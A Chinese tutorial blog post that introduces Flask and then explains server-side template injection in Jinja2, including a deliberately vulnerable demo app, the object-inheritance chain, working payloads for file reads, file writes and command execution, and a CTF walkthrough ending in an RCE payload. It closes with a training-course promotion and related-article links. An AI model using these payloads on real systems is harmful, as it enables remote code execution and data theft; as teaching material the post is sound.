SSTI漏洞基础解析

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

flask基础

flask是python编写的一个WEB应用程序框架,flask由Armin Ronacher带领的一个Pocco团队开发,flask基于werkzeug
WSGI工具包个jinjia2模板引擎。

WSGI:Web Server Gateway Interface,即WEB服务器网关接口。

第一个flask程序

# 从flask中导入Flask,注意,flask是包名,Flask是模块名
from flask import Flask
# 初始化Flask
app = Flask(__name__)
# route是路由的意思,这里理解成路径,设置/则默认打开index页面,注意用单引号或者双引号包含起来
@app.route('/')
# 定义index函数,index函数名可以换成其他的,不一定强制要index,这里也就是相当于写一个页面
def index():
    # return的内容,会被显示在页面中
    return 'Hello,world!!!'

if __name__ == '__main__':
# 开始使用本地地址和指定的8080端口运行起来,如果不指定端口,则默认使用5000端口
# 如果不指定IP地址,默认只能本机访问,如果需要其他地方也能访问到本机开启的flask,则需要将地址换成0.0.0.0
    app.run('127.0.0.1','8080')

以上简单介绍了第一个flask创建的web服务器。

wKg0C2JGx3SAXKAvAACjLyx7nNw003.png

图片中启动flask后,可以在控制台查看到信息。

debug

flask编写的程序和php不一样,每一次变动都需要重启服务器来执行变更,就显得很麻烦,为了应对这种问题,flask中的debug模式可以在不影响服务器运行下,执行更新每一次的变更

debug=True

只需要在app.run原基础上加上debug.True,或者直接app.debug=True

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,world'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')
    # app.run('127.0.0.1','8080',debug=Ture)

route

程序中见到的@app.route(‘/’),相当于一个路径,可以是app.route(‘/user’),或者其他自定义的route,设置后,在url后面加上/user就可以访问了,每一个route后面都必须会有一个def函数跟着,代码解析一下。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,vfree'

@app.route('/user')
def user():
    return 'username:vFREE'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx32AGSvrAAEM4YeBapU730.png

我新建了一个route,然后写成/user,创建好后,访问127.0.0.1:8080/user,就会return回username:vFREE。实际上,flask的route在php中相当于文件名,而def中的内容,相当于文件内容。

识别传入的参数

给url添加可以传入变量的地方,只需要在route中的路径后面添加标记<value_name>,然后使用def接收,代码解释下。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,vfree'

@app.route('/user/<username>')
def user(username):
    return 'username:{0}'.format(username)

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

看到第二个route出,其中加了/<username>,这就是传入参数的接口,其中username相当于一个变量,将username放进def
user()中,然后用format带入username。

wKg0C2JGx4SAYKiAAEM4YeBapU386.png

输入/user/vfree就会输出Hello,vfree,往下看,接着将讲如何判断GET和POST,以及输出传入的数据参数。

HTTP方法

这里主要讲GET和POST方法。

GET方法和POST方法

from urllib import request
from flask import Flask,request
app = Flask(__name__)

@app.route('/method',methods = ['GET','POST'])
def method():
    if request.method == 'GET':
        return '现在的方法是GET'
    elif request.method == 'POST':
        return '现在的方法是POST'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

仔细分析上面的代码,会发现多了一个request和methods,request主要是用于在判断时,获取当前页面的方法,如果直接打开URL,就会显示GET方法,如果使用POST,就会显示POST方法,如下图测试页面:

wKg0C2JGx5eAc7TTAAA9KbJ3r24633.png

wKg0C2JGx46AXzgfAACdLmhN9E968.png

route中,methods要有s,并且方法用[ ]
括起来,其次就是方法要大写,不能小写,request和requests不一样,request是包含在flask中的,而requests是请求网页的,不能混淆,方法要大写,否则报错。

获取方法传入的参数

GET方法

GET方法用****request.args.get(‘[ 参数名
]’)****来接收从url栏中传入的参数,其中参数名是自定义的,比如定义了tss,那么在url栏中只能填入tss=xxxxx,如下面演示图所示:

wKg0C2JGx6WAHwdIAAB8hfGnlk335.png

POST方法

POST方法和GET方法获取传入的值截然不同,POST方法用****request.form[’ [参数名]
']****获取传入的参数值,和GET方法所介绍地一样,预定获取什么参数名就会获取传入地参数名中地参数,如下代码演示图所示:

wKg0C2JGx6yAWp9YAACW4JrfC70515.png

两种方法获取值地关键字不能互通,别把POST方法地form[]写成form()

redirect

这个关键字在flask中用于重定向,需要配合url_for使用,url_for使用于构造url,比如常见的用法就是在登陆页面,输入正确的账号密码后,重定向到另外一个页面中,接下来,请看代码演示:

import time
from flask import Flask,request,redirect,url_for
app = Flask(__name__)

@app.route('/login',methods = ['GET','POST'])
def login():
    username = 'admin' # 定义username
    password =  'admin' # 定义password
    user = request.args.get('username') # 获取传入的用户名
    passwd = request.form['passwd']  # 获取传入的密码
    if user == username and passwd == password:  # 判断用户名和密码是否和预定义的一样
        return redirect(url_for('login_s'))  # 如果一样,则通过redirect和url_for重定向到login_s中
    else:
        return 'username or password error' # 错误则返回用户名或者密码错误

@app.route('/login_s',methods = ['GET']) # 定义一个新的页面login_s
def login_s():
        return '登录成功' # 返回登陆成功



if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx7OASMGAABclNrNtVU699.png

**redirect和url_for也需要导入模块,

url_for用于定义一个url,可以包含同文件下的其他路径,也可以包含外部文件。

模板渲染

单调的html看起来是枯燥乏味的,一个好看的html文件是有不同样式的文件组成的,因此,为了让模板看起来更好看,我们就需要对模板进行渲染(以下演示的代码不会过于好看,仅作示范使用噢~),模板渲染需要注意一点,py文件和外部文件要放在同一个文件夹下,并且放置外部文件的文件夹名儿,要重命名为templates**,示例图:**

wKg0C2JGx7qAWayRAAAkelQEcz4019.png

render_template

根据上面的文件夹规则,我们在templates创建了一个index.html,然后再py文件中定义好需要渲染的内容,使用字典格式(请看下面的代码例子),一切准备就绪后,使用render_template将数据渲染过去index.html,如果有多个参数,请使用形参的形式传出,如下flask_tss.py文件代码所示,有三个参数,那么就用**********contents传过去,contents是自定义的,这样子,参数值就会一个不落地传到index.html

index.html文件中,需要使用格式为 "{{ 参数名 }}"接受参数值,比如’username’:‘vfree’

html文件中就是用<标签>{{ username
}}</标签>,看不懂不理解没关系,只需要看一下下面给出地两个文件示例,就懂了~请注意啦,html文件获取参数一定要填入传过来的参数名!!!

flask_tss.py文件:

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template
app = Flask(__name__)

@app.route('/')
def index():
    contents = {
        'username':'vFREE',
        'year':'20',
        'Country':'China'
    }
    return render_template('index.html',**contents)


if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

templates文件夹下的index.html

<html>
<head>
<body>
<h1>Hello,{{username}}</h1>
<h2>{{year}}</h2>
<h3>{{Country}}</h3>
</body>
</head>
</html>

render_template_string

这个使用于渲染字符串的一个函数,此函数可以将html代码变成字符串,
然后使用render_template_string(xxx)将文件渲染输出,这个可以用于没有外部文件的情况,直接再同文件下,定义好html代码,然后直接就可以渲染,render_template_string和render_template都是渲染,但是前者是字符串,后者是外部文件,具体看演示就明白。

wKg0C2JGx8KADqMEAAB6SLH3jt8444.png

render_template和render_template_string都需要导入才可以使用。

flask代码不严谨危险吗?

危险!!!如果flask代码不严谨,危害和过滤不严的PHP代码差不多,可能造成任意文件读取和RCE,最主要的漏洞成因是因为渲染模板时,没有严格控制对用户的输入,又或者使用了危险的模板,导致用户可以和flask程序进行交互,从而照成漏洞的产生,flask漏洞也被称为’SSTI’,既然flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等等等之类的函数,本文将以jinjia2的模板引擎render_template_string作为漏洞代码进行漏洞演示~

漏洞演示

下面是演示一个看起来没啥问题的代码,为什么这么说呢?请把目光移至html_str中的**<body>****</body>**标签,其中str是被{{}}包括起来的,也就是说,使用{{}}包起来的,是会被预先渲染转义,然后才输出的,不会被渲染执行。

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
    str = request.args.get('v')
    html_str = '''
        <html>
        <head></head>
        <body>{{str}}</body>
        </html>
    '''
    return render_template_string(html_str,str=str)

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

但是如果变成下面这个代码,发现了对用户传入的数据没有任何过滤,就直接将用户传入的参数值放入html_str中,然后经过模板渲染,直接输出,用户完全对输入值可控,就会照成SSTI漏洞,传入一个弹窗代码,查看效果。

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
    str = request.args.get('v')
    html_str = '''
        <html>
        <head></head>
        <body>{0}</body>
        </html>
    '''.format(str)
    return render_template_string(html_str)
  
if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx8uABHynAABnD7sFF8390.png

成功执行了我们的弹窗代码,如果把这段代码放在第一个代码中,就不会出现这种问题,因为已经被转义了,所以不会执行。

插入弹窗代码的危害还不是最大的,最大的是可以照成信息泄露,任意文件读取,RCE等漏洞,我们将弹窗代码转成{{config}},会输出:

wKg0C2JGx9OAel2OAAGWOjWrMok025.png

妥妥造成了信息泄露,但是还可以将危害扩大化,直接造成任意文件读取和RCE,在可以保证能看懂的情况下,我们得先学习python的魔术方法和继承关系,接下来细说。

魔术方法

ssti基本的思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果。

__class__ # 查找当前类型的所属对象
__mro__ # 查找当前类对象的所有继承类
__subclasses__ # 查找父类下的所有子类
__globals__ # 函数会议字典的形式返回当前对象的全部全局变量
__init__ # 查看类是否重载,重载是指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__base__ # 沿着父子类的关系往上走一个

object是父子关系的顶端,所有的数据类型最终的父类都是object
type是类型实例关系,所有对象都是type的示例

object和type即时类也是示例,因为object是type的一个示例,但是type又是object的子类,type自己创造了自己,object是type的弗雷,type创造了object

既然要找到父类下的子类中合适的函数,那么我们首要任务就找到父类,通过继承关系从而一步步往下找,接下来每一个步骤都有解析,师傅可以悟一悟,基本思路是这样子:

>>> print(''.__class__)
<type 'str'>
# 字符串的上一层父类就是str,既然我们知道了是什么类型,那么就可以通过__mro__找str的继承关系

>>> print(''.__class__.__class__.__mro__)
(<type 'type'>, <type 'object'>)
# 这里通过元组列出了两个关系,我们要找的不是type,而是后面的object,既然是元组,那么就通过__mro__[1].__subclasses__()找object对象下的所有子类

>>> print(''.__class__.__class__.__mro__[1].__subclasses__())
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, ...(省略部分)]
# 找到了父类下的子类,以列表的形式显示,假设我们要进行文件读取,那么就是找到<type 'file'>,所处列表位置是40  但是由于我的环境问题,这里不能的文件读取和RCE出现了问题,所以使用别的模块,道理都一样,通过找到重载的模块去一步步找所属的子类列表,这里使用的是列表第75位,已重载的

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75])
<type 'file'>
# 那么接下来就可以通过__init__查看是否重载

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__)
<class '_frozen_importlib._ModuleLock'>
# 没有wrapper字眼,说明已经被重载了,接下来继续找继承关系,使用__globals__找全局变量

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__)
{'__name__': 'importlib._bootstrap', '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', '__package__': 'importlib', '__loader__': <class '_frozen_importlib.FrozenImporter'>, '__spec__': ModuleSpec(name='_frozen_importlib', loader=<class '_frozen_importlib.FrozenImporter'>,...(省略部分))
# 找出了很多的全局变量,以字典的形式输出,这里演示用'__builtion__'做演示
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__'])
 
 {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>),...(省略部分)}
 # 到了这一步后,由于全局变量包含了eval,所以可以找到eval执行命令,然后再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选~
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))
flag requirements.txt
# 至此,成功执行了命令,找到了当前目录下的文件,至于__import__('os').popen('ls').read(),可以说是固定搭配

循环渐进,一层找一层,无非都是先找到父类,然后找父类下的子类,完了以后查看是否有重载,再通过全局变量找到eval进行执行命令,当然,也不单单只有这么一个思路,也可以不断横纵扩展,还有一个知识点就是,上面提到我们得先获取object对象,然后再去找子类,那么一定要用mro去获取父类么?其实不一定,我们也可以用base去获取object,但是个人感觉还是mro好用,base虽然也可以父类,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找,正所谓萝卜青菜各有所爱,mro和base都可以~

>>> print(''.__class__.__base__.__base__) # 依次网上找
<type 'object'>

>>> print(''.__class__.__mro__[-1]) # 一次性列出来所有继承关系
<type 'object'>

继承关系

在上面已经提到,通过一个子类找到父类,父类再找子类,再找到全局变量…这样子的就是继承关系,一层一层往上找,通过上面的payload基本都可以明白继承关系是啥,这里做一个简单的代码演示:

class A:pass
class B(A):pass
class C(B):pass
a = A()
b = B()
c = C()
print('a的继承关系:',end='')
print(a.__class__.__mro__)
print('b的继承关系:',end='')
print(b.__class__.__mro__)
print('c的继承关系:',end='')
print(c.__class__.__mro__)
# 输出
# a父类是object
a的继承关系:(<class '__main__.A'>, <class 'object'>) 
# b的父类是A,然后才是object
b的继承关系:(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# c的父类是B,然后再是A,最后是object
c的继承关系:(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# 一层层关系递进,形成一个继承关系

payload

列出一些常见的payloads

读文件

1.''.__class__.__mro__[-1].__subclasses__()[40]('/flag').read()
# 由于python3已经没有file了,所以使用open代替,open在__builtins__下
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/flag').read()
# 由于python3中取消了file,所以使用open代替

写文件

''.__class__.__mro__[-1].__subclasses__()[40]('/flag','w').write('<content>')

执行命令

1.__import__('os').system('[command]')
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")
# 此条payload也是找到重载再通过一层层去找所属的子类列表,然后去调用,注意,()和[]的使用方法,注意,此条指令通过url栏传入不会输出内容
3.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
# 此条是有回显的

从一道ctf题目中学习巩固flask文件读取/RCE

题目地址:catf1ag CTF:easy_flask

1.打开题目,直接测试/?cmd={{config}}

wKg0C2JGxeAdahkAAGWOjWrMok850.png有回显,说明存在SSTI漏洞,既然确定了有这个漏洞,那就直接根据上面给出的payload打一波命令执行或者文件读取即可,具体的可以看上面的payload结构,如果对结构不理解的,可以去看魔术方法下的解析过程~

# 最终payload
{{%27%27.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag%27).read()")}}

wKg0C2JGxARgXeAAA28adEKuM193.png

:easy_flask](http://timu.vfree.ltd:9021/?cmd=)

1.打开题目,直接测试/?cmd={{config}}

[外链图片转存中…(img-ySQ6KFqy-1676345159231)]有回显,说明存在SSTI漏洞,既然确定了有这个漏洞,那就直接根据上面给出的payload打一波命令执行或者文件读取即可,具体的可以看上面的payload结构,如果对结构不理解的,可以去看魔术方法下的解析过程~

# 最终payload
{{%27%27.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag%27).read()")}}

[外链图片转存中…(img-xF1SLJcR-1676345159232)]

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

Nginx/OpenResty目录穿越漏洞复现 Nginx/OpenResty目录穿越漏洞复现 漏洞背景: 2020年03月18日, 360CERT监测发现 openwall oss-security 邮件组披露了两枚漏洞。在特定配置下 nginx/openresty 存在 内存泄漏漏洞/目录穿越漏洞。 Nginx 是异步框架的网页服务器,也可以用作反向代理、负载平衡器和HTTP缓存。 OpenResty是一个基于nginx的Web平台,它对nginx增加LuaJIT引擎使其运行Lua脚本。 影响版本: nginx <= v1.17 阅读详情

相关推荐

OpenResty无损升级内嵌nginx版本0DAY漏洞

OpenResty无损升级内嵌nginx版本,nginx

qq1071643762的博客 6873

【网络安全 | 2w字总结】SSTI漏洞入门

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

等风来 1万+

SSTI漏洞实战:从基础注入到高级绕过技巧全解析

本文全面解析SSTI漏洞基础注入到高级绕过的实战技巧,包括漏洞原理、Python魔术方法利用、文件读取与命令执行实战,以及各种过滤场景下的高级绕过方法。特别针对Flask/Jinja2环境,提供可直接复用的攻击payload和自动化探测脚本,帮助安全人员深入理解服务器端模板注入漏洞的利用与防御。

weixin_42539414的博客 339

SSTI模板注入总结

文章目录一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结(转载)5、常见过滤器(转载)四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1 一、初识SSTI 1、什么是SSTISSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。 可能SSTI对大家而言不是很熟悉,但是相信大家很熟悉SQL注入。实

Manuffer的博客 1万+

文件上传漏洞

文件头类型检查文件类型文件幻术头GIF 47 49 46 38 39 61(相当于文本的GIF89a)图片🐎制作方式将一句话木马植入图片中,一句话木马最好不要植入在图片的开头(有可能会造成文件损坏),Windows执行语句:copy xx.jpg/b+test.php/a test.jpg;Linux木马植入执行语句:cat test.php >> xx.jpg\b以二进制格式复制、合并文件 \a指定以ascll格式复制、合并文件。

kuzemax的博客 3279

SSTI漏洞利用全解析:从基础原理到高级绕过技巧(含Python/Jinja2实例)

本文深度解析SSTI(服务器端模板注入)漏洞,从基础原理到高级绕过技巧,结合Python/Jinja2实例进行实战演示。文章详细阐述了SSTI的成因、利用链的构建方法,并重点介绍了针对Jinja2引擎的命令执行等高级绕过技术,为安全研究和防御提供全面指导。

dream的博客 674

ssti模版注入(看完就会了)

_class__ 类的一个内置属性,表示实例对象的类。__base__ 类型对象的直接基类__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases____mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

qq_74806534的博客 2万+

BUUCTF-[GYCTF2020]FlaskApp 从SSTI到PIN码生成实战剖析

本文详细剖析了BUUCTF-[GYCTF2020]FlaskApp题目中从SSTI漏洞利用到PIN码生成的完整过程。通过Flask框架的模板注入漏洞,逐步获取生成调试PIN码所需的六大要素,最终实现交互式shell获取权限。文章深入讲解了PIN码生成算法及防御措施,为CTF选手和Web安全研究者提供了宝贵的技术参考。

weixin_29240711的博客 98

Python SSTI漏洞深度解析:从Jinja2模板注入到命令执行实战

服务器端模板注入(SSTI)是一种常见的安全漏洞,当应用程序将用户输入直接拼接到模板中渲染时,攻击者可能注入恶意模板语法,从而控制渲染过程。其原理在于模板引擎未能正确区分代码与数据,导致用户输入被当作指令执行。在Python生态中,Jinja2等模板引擎的灵活性,结合Python对象模型中的魔术方法(如__class__、__subclasses__),为攻击链的构建提供了技术基础。通过访问对象继承链和全局命名空间,攻击者可以逐步获取敏感模块(如os或subprocess),最终实现远程代码执行(RCE),

weixin_34265814的博客 370

Flask SSTI漏洞实战:从原理到利用,手把手教你复现Jinja2模板注入

本文深入解析Flask框架中Jinja2模板引擎的SSTI(服务端模板注入)漏洞,从原理到实战利用技巧全面讲解。通过剖析Jinja2运行机制、构建漏洞利用链、搭建复现环境,帮助开发者理解并防范这一高危漏洞,提升Web应用安全性。

g5h6i7j的博客 453

Flask SSTI漏洞实战:从原理到利用与防御全解析

服务器端模板注入(SSTI)是一种常见的安全漏洞,其核心原理在于应用程序将用户可控的输入直接拼接至模板字符串中,导致数据被当作代码执行。模板引擎(如Jinja2)在渲染时,会解析并执行模板中的表达式和控制语句,若用户输入被不当嵌入,攻击者便能注入恶意指令。该漏洞的技术价值在于,它绕过了应用逻辑,可直接在服务器端执行任意代码,危害性极高,常被用于命令执行、文件读取和敏感信息泄露。在Web安全,尤其是CTF竞赛和渗透测试场景中,SSTI是高频考点。本文以Flask框架下的Jinja2引擎为例,深入剖析其**对象

weixin_34127717的博客 358

从实战到复盘:一次CTF竞赛中的Web渗透与密码学解题思路解析

本文详细解析了一次CTF竞赛中的Web渗透与密码学解题实战经验,涵盖命令注入绕过、SSTI模板注入、RSA参数恢复和AES-CBC模式解密等关键技术。通过WriteUp形式分享解题思路和避坑指南,帮助参赛者提升CTF竞赛技能和实战能力。

weixin_29324877的博客 326

SSTI漏洞自动化利用:TPLMap工具原理与实战指南

服务器端模板注入(SSTI)是一种高危的Web安全漏洞,攻击者通过向模板引擎注入恶意代码,可导致远程命令执行。其原理在于用户输入被直接拼接至模板并解析,从而混淆了代码与数据的边界。理解SSTI的检测与利用技术,对于提升应用安全防护能力具有重要价值。在渗透测试与漏洞评估场景中,自动化工具能极大提升效率。TPLMap作为一款专注于SSTI漏洞自动化检测与利用的工具,集成了指纹识别、引擎判定和利用链生成等功能。它通过内置的Payload库和智能检测算法,能够自动识别Jinja2、Twig等多种模板引擎,并尝试绕过

weixin_29315569的博客 319

SSTI学习过程

c.__class__.__base__ <class'__main__.B'>当前类C的父类B。通过config.__class__.init__globals__['os'].popen('whoami'.read())3、my_str = request.args.get('ben')不要忘记@app.route('路径')url/通过{{url_for.__globals__.os.oppen('').read()}}在已经加载过OS模块的子类直接调用os模块。

IDnobeing的博客 322

SSTImap配置全解析:优化检测精度与绕过防御机制的参数调优

SSTImap是一款强大的自动SSTI(服务器端模板注入)检测工具,通过交互式界面帮助安全测试人员快速识别和利用模板注入漏洞。本文将详细解析SSTImap的核心配置参数,帮助用户优化检测精度、绕过防御机制,提升渗透测试效率。 ## 一、基础配置文件解析 SSTImap的核心配置存储在[config.json](https://link.gitcode.com/i/8f1d7371c0f78d5

gitblog_00571的博客 791

Kali Linux下Tplmap安装全攻略:解决pip依赖报错问题(附实战命令)

本文详细介绍了在Kali Linux系统中安装Tplmap工具的全过程,重点解决了常见的pip依赖报错问题。通过分步指导和实战命令,帮助安全测试人员快速部署这一强大的模板注入漏洞检测工具,提升Web应用安全测试效率。

weixin_30399821的博客 475

SSTI漏洞详解

SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行,攻击者可以通过构造来注入模板代码,导致服务器端模板引擎执行恶意代码。more常见的模板有很多,不同模板的语法也不相同,在实际情况我们可以测试判断属于哪一种模板。下面将引用一个简单的例子来说明,假设有一个包含以下代码的Twig模板文件Hello, 49!但是,如果攻击者将。

apple_74953689的博客 4004
上一篇: Spring Boot RCE到内存马探索
下一篇: TikTok曝高危漏洞允许一键式帐户劫持,回应称已修复
AIGC小王
博客等级 码龄4年 4394粉丝 570原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值